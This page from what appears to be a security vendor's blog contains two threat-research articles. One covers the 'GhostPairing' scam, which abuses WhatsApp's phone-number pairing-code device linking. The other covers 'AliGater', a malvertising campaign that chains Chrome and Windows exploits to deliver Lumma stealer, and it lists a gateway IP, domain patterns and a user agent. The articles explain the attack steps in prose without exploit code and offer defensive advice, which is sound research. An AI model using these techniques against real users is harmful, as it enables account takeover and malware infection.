WhatsApp Web or the desktop client, they are not creating a separate account. They are linking a new device to their existing account. WhatsApp offers more than one way to do this:<ol><li data-list-item-id="ea34f5218a6d017f8fca5dee7aa377519">The one most people know: open WhatsApp, scan a QR code shown on the desktop or browser, and approve the new session.</li><li data-list-item-id="e64094396334a6147443e7f01cfceb66f">A less visible option: link a device using the account’s phone number and a numeric pairing code that the user has to confirm in the app.</li></ol>Both are legitimate features, and both are meant to make it easier to connect a new laptop or browser without constantly re-entering credentials. Additionally, both can be repurposed if someone convinces the account owner to cooperate.The campaign we analyzed does exactly that.<h3>QR based <a>linking</a> – possible, but a fringe scenario</h3>On paper, attackers could run the same scam using WhatsApp’s QR based device linking. In our tests, this works technically, but it is much less practical for real victims.To abuse this flow, an attacker would open WhatsApp Web in their own browser, capture the QR code shown there and embed it into the fake Facebook viewer page. The victim would then be told to open WhatsApp, go to Linked devices and scan that QR in order to “view the photo”. From WhatsApp’s perspective, the account owner has just approved a new linked device, and the attacker’s browser receives a fully authorized session.In practice, however, there is a big usability problem. Most people run both WhatsApp and the browser on the same phone. Scanning a QR that is displayed on the very device you are using is awkward at best, and often impossible without a second screen, another phone or a tablet. We have all seen edge cases where this happens in legitimate contexts, but it is not something you would build a mass scam around.That is why, in the activity we have observed, attackers rely on the phone number and pairing code flow instead. It produces the same end result but feels like a normal two step verification process and can be completed entirely on a single device, which makes it far more attractive for large scale abuse.<h3>Abusing phone number and pairing codes</h3>The numeric code variant is slightly more complex and arguably more dangerous, because it resembles two factor authentication even more closely. It is also the most common way the scam plays out.Here, the fake page encourages the user to enter their phone number. It then acts as a proxy to the real WhatsApp device linking endpoint.The behind-the-scenes sequence looks like this:<ol><li data-list-item-id="e9891b937bfa070faa962a7a518b29d19">The victim types their phone number on the fake page.</li><li data-list-item-id="e39cbd975fa843772ee470f49e173b772">The page forwards that number to WhatsApp’s legitimate “link device via phone number” feature.</li><li data-list-item-id="e4a210d7f5523cfd5319a68a6e97af57f">WhatsApp generates a pairing code that is meant to be seen only by the account owner.</li><li data-list-item-id="e1f8b03c7f8189eec08e5840650c9fd31">The attacker’s site takes that code and displays it back to the victim with text that suggests they should “enter this in WhatsApp to confirm the login and see the photo.”</li><li data-list-item-id="e87a2747810f83a09ba9fa676d4ed7829">The victim opens WhatsApp, sees the pairing prompt and enters the code, believing they are completing a security check.</li></ol>From the victim’s point of view, this feels like a standard verification process. They have seen similar flows in many other services.From WhatsApp’s point of view, the owner of the account has just approved a new linked device using the correct code.Again, the end result is that the attacker’s browser becomes a trusted device for that account.

<h3>What the attacker can do once linked</h3>After their device is linked, the attacker does not need to exploit anything else. They have the same capabilities that any user has when connecting WhatsApp Web on their own computer.In practice, this includes:<ul><li data-list-item-id="ef911a8cc8fd84ddb0222dab248b7bf85">Reading historical conversations, subject to what has been synced.</li><li data-list-item-id="e7076cfc08a92cfbef6a870f271ea87fb">Receiving new messages in real time.</li><li data-list-item-id="ec6f964267baada2c603a5b3f38a485f4">Viewing and downloading media such as photos, videos and voice notes.</li><li data-list-item-id="ea758e1552661fde3b728cd064d96e7db">Collecting sensitive information shared between friends: addresses, email addresses, codes, links, which can later be misused or resold.</li><li data-list-item-id="e5d3a1f76c7d8dc7d3557b6d80946fafd">sending messages to individuals and groups as if they were the victim.</li><li data-list-item-id="e3d2b4a1060c711454f8652e648652fc2">forwarding the same lure to many contacts with very little effort.</li></ul>This is not traditional account hijacking in the sense of changing passwords or locking the owner out. The phone continues to work normally. Many victims are unaware that a second device has been added in the background, which is what makes the scam even more dangerous – criminals are hiding in your account, watching your every conversation without you even knowing it.In our observations, that restriction does not consistently clear the linked session. Unless the victim goes into Settings and removes unknown devices, the attacker may retain access.<h3>How victims then become GhostPairing attackers</h3>The propagation mechanism is simple and effective because it is rooted in real relationships.Once an attacker has access to one account, they can use it to distribute the lure text that we mentioned previously to that person’s contacts and groups. Family chats, school groups, sports teams and work-related conversations are all opportunities.Recipients see a very short, informal message coming from someone they know. There is no unfamiliar phone number, no obvious formatting errors, no long explanation. This minimal style typically avoids suspicion.Some recipients click, some do not. Those who do and complete the linking step become new compromised accounts. They, in turn, can be used to reach fresh sets of contacts that the original attacker did not know existed – the attack expands like a snowball.This is what makes the campaign efficient. It does not rely on cold spam. It rides existing trust.<h3>Why this approach is concerning</h3>Several aspects of this technique are worth highlighting.First, it does not rely on stealing secrets. There is no password phish, no SMS interception, no direct authentication bypass. Everything happens inside the boundaries of the feature set that WhatsApp intended.Second, the lure is highly plausible. For many users, the idea that “Facebook wants you to confirm something in WhatsApp” does not sound obviously wrong. Codes and QR scans have become part of everyday online life, especially on mobile.Third, it creates persistent access. Linked devices do not disappear when the user closes a tab. They remain active until manually revoked. If there is no habit of checking the list of connected WhatsApp devices, an attacker can remain connected for a long time.Finally, it opens the door to more than just simple spam. With access to full conversations and media, an attacker can learn how people talk, who is important to them, and what they might respond to. Voice notes and photos can later be reused in fraud attempts and impersonation, including deepfake enhanced scams, or extortion.&nbsp;In other words, this is a clear example of how social engineering and legitimate infrastructure can combine into a very effective compromise method.<h3>Infrastructure and kit-like behavior</h3>Looking at the domains and templates involved, there are strong signals that the GhostPairing Attack is driven by a reusable kit that attackers can buy and distribute rather than a one-off project.The same layout appears across multiple domains. The same idea of a Facebook viewer repeats, with minimal changes. Domain names follow a similar pattern around photos and posts, with a mix of generic TLDs.From an operational point of view, this is convenient. If one domain is blocked or reported, it can be discarded and replaced with another one using the same files. A buyer of such a kit can plug in their own configuration – for example text targeting a specific region or, as the scam propagates, text specific to an individual –&nbsp;and start sending lures.<h3>What people can do to protect themselves</h3>For individuals, the most important actions are simple and do not require technical knowledge.First, it is worth checking which devices are currently linked:<ul><li data-list-item-id="ed9cdb9c32227bdefeaf911d473f0005e">Open WhatsApp.</li><li data-list-item-id="e5ef671dacc240fe54c274b0699451076">Go to Settings → Linked Devices.</li><li data-list-item-id="e5ec077f4aa467c47b18b1ff3ec6a5abe">Review the list of active sessions and log out of anything you do not recognise.</li></ul>Doing this once will remove any sessions already created by this sort of scam. Doing it periodically helps catch future problems earlier.

Second, treat any request to scan a WhatsApp QR code or enter a numeric code from a webpage as suspicious. WhatsApp linking should happen from inside the app and in response to a deliberate action, not because some external site tells you that it is required to view a file.Third, enabling Two Step Verification in WhatsApp adds an additional barrier to other kinds of account abuse. It is not a complete solution, but it reduces the range of what attackers can do once they are in.Finally, sharing information about this kind of scam with family members and group chats is surprisingly effective. Many victims click because they have never heard of anything like this. Once people know that “I found your photo” messages can hide an account linking trick, they are less likely to follow the script.<h3>What platforms could improve</h3>While user awareness is essential, there are also changes that platforms can consider.Clearer messaging around device linking would help. If users saw large, unavoidable text explaining that they are about to give a new device full access to all messages and media, some would hesitate.Better context on linking and pairing events would also be useful. Showing device type, browser, approximate location, and the fact that the request originated from a website, not from the app, could nudge users to cancel when something feels off.Rate limiting device linking attempts, especially those that involve many different phone numbers from the same infrastructure, would raise the cost for attackers. Auto revoking recent linked sessions when spam or abuse is confirmed on an account would shorten the window of exploitation.None of these measures alone would eliminate such attacks, but together they would make them less attractive.<h3>Beyond WhatsApp: pairing as a broader attack surface</h3>GhostPairing is not just a quirky one off trick in a single app. It is a case study in what happens when a pairing flow is abused at scale. WhatsApp is a natural target, with billions of users and a growing role in everyday and business communication, but the pattern behind GhostPairing is more general.Conceptually, the same risk exists anywhere you have:<ol><li data-list-item-id="e0e95d1f7ec000e35badceeafc1dfd8f4">A QR code, code entry screen, or approval prompt that lets a new device connect to an existing account.</li><li data-list-item-id="eae06032d8bb12c3b5e433184b69ca0e2">A trusted primary device that scans or approves that request.</li><li data-list-item-id="e5c3eb39487f0e57eaf39e02eb407f3a5">A resulting session that is long lived and largely invisible to the user.</li></ol>If those three conditions line up, an attacker who can control the QR code or pairing prompt, and convince the victim to interact with it, has a realistic path to creating their own ghost device.Many modern services follow this pattern in one form or another, from messaging apps with web or desktop clients, to collaboration tools, social platforms and account ecosystems that rely on “approve on your phone” prompts. Most of them add extra checks, such as device details, locations, or number matching, which makes abuse harder but does not change the basic dependency: a single distracted click or code entry on the primary device can grant an unknown session elsewhere.We are not claiming that GhostPairing style campaigns are already running across all these ecosystems. What we can say is:<ul><li data-list-item-id="e1e99a440dbe6aa9dfdc90f0c174afb77">The design pattern that made GhostPairing possible is not unique to WhatsApp.</li><li data-list-item-id="e0d1afeda6fcf31958cb7b87017a9875f">Any platform that combines very easy pairing with low visibility of linked devices gives attackers something to work with.</li></ul>In that sense, GhostPairing should be read as a warning, not just a WhatsApp incident. The more our digital lives depend on quick QR scans and “approve on your phone” flows, the more important it becomes to design these steps so that a single moment of inattention does not quietly create a ghost device that lives in the background for months.<h3>Conclusion</h3>The campaign described here illustrates a subtle shift in how some attackers operate. Instead of breaking cryptography or circumventing authentication, they use the product as designed and persuade users to cooperate at just the right moment.By abusing WhatsApp’s device linking features and wrapping them in a familiar looking flow, they achieve a clean and persistent account compromise with minimal technical work.The technique is not limited to one country or one platform. Any service that allows device pairing through QR codes or numeric codes is a potential candidate for similar abuse.GhostPairing Attacks are a good example of how social engineering and legitimate features combine into very effective compromises. The attacker never breaks encryption, they simply convince the user to invite them in as a linked device.The good news is that the defense is well within reach. <a>A combination of user awareness, simple hygiene checks and modest platform changes can significantly reduce the impact of this type of scam.</a>

When “verification codes” quietly hijack your account

GhostPairing Attacks: from phone number to full access in WhatsApp

Malvertising is one of the dark sides of pervasive advertising on the modern web that continues to retain its relevance despite attempts to curb it. Investigation of the Lumma stealer’s infection chain led us to believe that there is a new contender in the malvertising field. This new malvertising platform is mostly focused on people in Europe, particularly France and Poland. Their current campaign is exploiting known vulnerabilities in outdated versions of Chrome. This typically affects users of out-of-live versions of Windows versions, such as Windows 7, which are no longer supported with the latest Chrome versions. At the same time, our telemetry has shown us a significant increase in Magniber ransomware activity within the same timeframe, leading to a suspicion that these activities may be linked.We have dubbed this new suspected malvertising provider AliGater. Like other malvertising platforms, they rely on legitimate ad services to redirect unsuspecting victims to their gateway. This gateway fingerprints the user, filters out potential victims and then redirects them to a malicious domain that will try to exploit vulnerabilities in their system. These exploits attempt to stealthily deploy the final payload using common tricks, such as embedding it within multiple legitimate-looking processes and threads.We will primarily focus on identifying the main components of AliGater’s operation, used exploits and provide insight into prevalence of this new malvertising provider.<h2>Infection Chain</h2>

The infection chain starts with an advertisement that redirects the unsuspecting victim to the initial gateway&nbsp;<code>aligate.homes</code>. This gateway fingerprints the user and, likely using the browser’s user agent, determines whether the victim may be susceptible to their exploits. Users that are identified as exploitable are redirected to a simple website mimicking a simple Google CAPTCHA. The rest are redirected to the legitimate AliExpress home page.

The purpose of this fake CAPTCHA is to fetch a JS script (<code>captcha.js</code>) from&nbsp;<code>https://{random_chars}.{two_random_words}.shop</code> that will fingerprint the victim’s environment (architecture, platform, WebGL, Chrome version) and send it to the C&amp;C server. Based on this information, the C&amp;C server will deliver a specific malicious payload tailored to the victim’s Windows and Chrome versions. This payload takes the form of an obfuscated JS with encrypted byte arrays with shellcodes. We have observed payloads containing exploits targeting JavaScript engine V8 (CVE-2023-2033) and a TrueType font parsing in Windows (CVE-2011-3402).<h5>Chrome Exploit (stage 1)</h5>The first encrypted buffer in the final JS contains a WebAssembly (Wasm) module which is decrypted using an XOR cipher with a variable-length key located at the beginning of the main encrypted buffer. The purpose of the Wasm module is to invoke a method that operates with an array of a different type than intended, leading to illegal access and manipulation of specific memory addresses. Consequently, the native shellcode (Stage 1) hidden in the second array is executed within the Chrome process utilizing the Wasm module.Stage 1, invoked by the Wasm module, consists of a simple code that searches the memory of the Chrome process for the key at the beginning of the first buffer within the final JS. Once the buffer is located and decrypted, the code execution jumps to stage 2, which then tries to exploit the Windows system.<h5>Windows Exploit (stage 2)</h5>The Win32 TrueType font parsing is an old known exploit (CVE-2011-3402) abused by the attackers to elevate the necessary privileges for subsequent operations. If the exploit is successful, stage 2 enumerates all processes in the system and attempts to open each one. Next, it injects a third stage into the opened process.<h5>Process Camouflage (stage 3)</h5>The purpose of this stage is to stealthily deploy the next stage (stage 4). Stage 3 creates a new, elevated process with the well-known system process names, such as <code>dllhost.exe</code>, <code>SearchIndexer.exe</code>, <code>spoolsv.exe</code>, <code>svchost.exe</code>, and <code>taskhost.exe</code>, and then injects the fourth stage into this new process.<h5>Payload Downloader (stage 4)</h5>Fourth stage is a simple stager that downloads the next stage (stage 5) via HTTP from a hardcoded URL, which is typically formatted as&nbsp;<code>http://&lt;IP&gt;/{two_random_words}.jpg</code>. The IP corresponds to the DNS record of one of the <code>*.shop</code> servers. Note that the actual IP address may differ from the one that was used to deliver said JS script. The downloaded shellcode is not encrypted and is executed directly using the processes with elevated privileges.<h5>Executor (stage 5)</h5>This last AliGater stage is responsible for deploying the final payload embedded within <code>*.jpg</code> file that has been downloaded in the previous stage. This stage will use a two-pronged approach to deploying the final payload.It will spawn another process from the <code>explorer.exe</code> processes, again from a list of well-known Windows executables (<code>pcaui.exe</code>, <code>SearchIndexer.exe</code>, <code>svchost.exe</code>, <code>systray.exe</code>, or <code>dllhost.exe</code>), which will be injected with the final payload. In a similar manner, it will also attempt to open another elevated process and execute the final payload from within. Therefore, the final payload may be executed twice. The final payload that has been distributed at the time of research has been identified as Lumma stealer.

<h2>Similarities to Ongoing Magniber Campaign</h2>While researching this new threat actor, we have also noticed a spike in Magniber activity. While we were unsuccessful in retrieving the final payload of Magniber campaign through AliGater, we could not help but notice many similarities between these two campaigns. The registration date of the <code>alligate.home</code> domain is tightly correlated with Magniber campaign. Moreover, we have noticed multiple parallels in specific parts of the AliGater’s infection chain and Magniber. Magniber and AliGater’s stagers use unusual methods of invoking syscalls and target the same group of victims: Windows 7 systems in Europe. They also used a very similar approach to string encryption. Due to this, we strongly believe that Magniber’s codebase and the codebase used for AliGater's stagers are related. This leads to a conjecture that Magniber’s authors may have started offering their infrastructure as a service.<h2>Command &amp; Control Infrastructure</h2>The C2 infrastructure is used to&nbsp;identify potential victims, deliver tailored exploits to their browsers and provide the final payload to be executed on the compromised machine. It consists of three key elements:<ol><li>Gateway – Facilitates initial contact and filters out potentially suspicious or unperceptive (read not exploitable) visitors before redirecting exploitable victim to a malicious domain.</li><li>Malicious domain – Fingerprints the visitor and delivers tailored exploits and shellcodes to the victim.</li><li>Payload distribution – Once the victim’s environment is assessed and a suitable payload is chosen, distribution endpoint will provide the final payload to the stager deployed by the exploit.</li></ol>&nbsp;

<h6>Gateway</h6>The malicious gateway, operating at IP address&nbsp;<code>176.31.142.36</code> and associated with the DNS record&nbsp;<code>aligate.homes</code> (created on July 6, 2024), employs several mechanisms to manage traffic and avoid detection. The main method preventing the gate analysis is IP filtering, ensuring that repeated requests from the same IP address are not allowed –&nbsp;<code>HTTP ERROR 404</code>.Users who are assessed as non-exploitable are redirected to the official AliExpress website using a&nbsp;<code>&lt;meta&gt;</code> refresh tag. However, users identified as potentially exploitable are redirected to the Malicious Domain. This redirection occurs via the&nbsp;<code>HTTP 302 Found</code> response, which includes a&nbsp;<code>Location</code> header that is dynamically generated.<h6>Malicious Domains</h6>The potential victim is redirected to the Malicious Domain following a specific naming convention:&nbsp;<code>https://{random_chars}.{two_random_words}.shop</code>. The&nbsp;<code>two_random_words</code> component of the domain name represents the malicious domain, which is alive approximately three days, and shares the same registrant for domains we observed. The subdomain, represented by&nbsp;<code>random_chars</code>, changes rapidly — approximately every second — to make detection and tracking more difficult.&nbsp;<h6>Payload Distribution</h6>IP addresses of the payload distribution endpoint are hardcoded within stage 4. Similarly to the same DNS where they always use the same registrant, the IP addresses belong to the same ASN number. Interestingly, these IP addresses are also frequently associated with other malicious domains of AliGater.<h2>Detections</h2>Our telemetry indicates that AliGater focuses primarily on outdated versions of Windows and Chrome systems. The most affected Windows versions are Windows 7 with SP1 followed by Windows 8.1. The reason behind this choice is simple – these are no longer supported by new Chrome versions, meaning that any discovered vulnerabilities are left unfixed.

The overwhelming majority of targeted systems used the following user agent:<code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36</code>In point of affected countries, the most prevalent locations are France and Poland, followed by Italy, Spain and Turkey. Based on this data, we assess that the European states are the campaign’s main targets.

<h2>Conclusion</h2>AliGater is the result of an unfortunate conjunction of two phenomena. The pervasiveness of the web advertising industry makes it a ripe target for malicious actors looking for delivery vehicles for their business. Similarly, there are still a huge number of people relying on outdated versions of Windows that are inherently locked due to old, unsupported versions of Chrome (and their software in general). This combination was exploited to deliver a complex multi-stage attack vector that utilizes the ad industry to redirect victims to their infrastructure and exploit their systems to deliver Lumma stealer.As per usual in the malvertising industry, AliGater’s infrastructure is highly dynamic, frequently cycling newly registered domains. Despite this dynamic, some patterns, such as registrants or ASN numbers, remain consistent.We have also noticed many similarities between Magniber and AliGater’s stagers. More specifically, their coding styles have multiple similarities and use the same unusual and inherently very limiting patterns. This leads us to believe that Magniber and AliGater’s stager binaries are related. This raises a possibility that Magniber’s authors may have started to offer their infrastructure as a service. Nevertheless, due to our limited knowledge of the Magniber infection chain, we cannot provide an assessment of this conjecture.In conclusion, AliGater’s ability to exploit outdated systems through suspicious ad services poses a significant security risk, particularly in Europe, which seems to be their primary focus. We can assume that AliGater may distribute other malware and that Magniber’s authors might expand their operation to include other threat actors. Therefore, we intend to continue monitoring their operations to understand their operation, infrastructure, and capabilities better.

Martin Chlumecký

Posts by Martin Chlumecký

The NDA Was the Payload: Inside Phantom Deal, a Fake Acquisition Fraud Campaign

When Hotel Scams Know Your Booking: 350 Compromised Accommodations Across 50 Countries

From Celebrity Deepfakes to Avatar Farms, How Scammers Industrialize Trust

The Reservation Hijack Scam: How attackers hijack hotel accounts to target guests

GhostPairing Attacks: from phone number to full access in WhatsApp

AliGater: Malvertising chasing users of outdated windows in Europe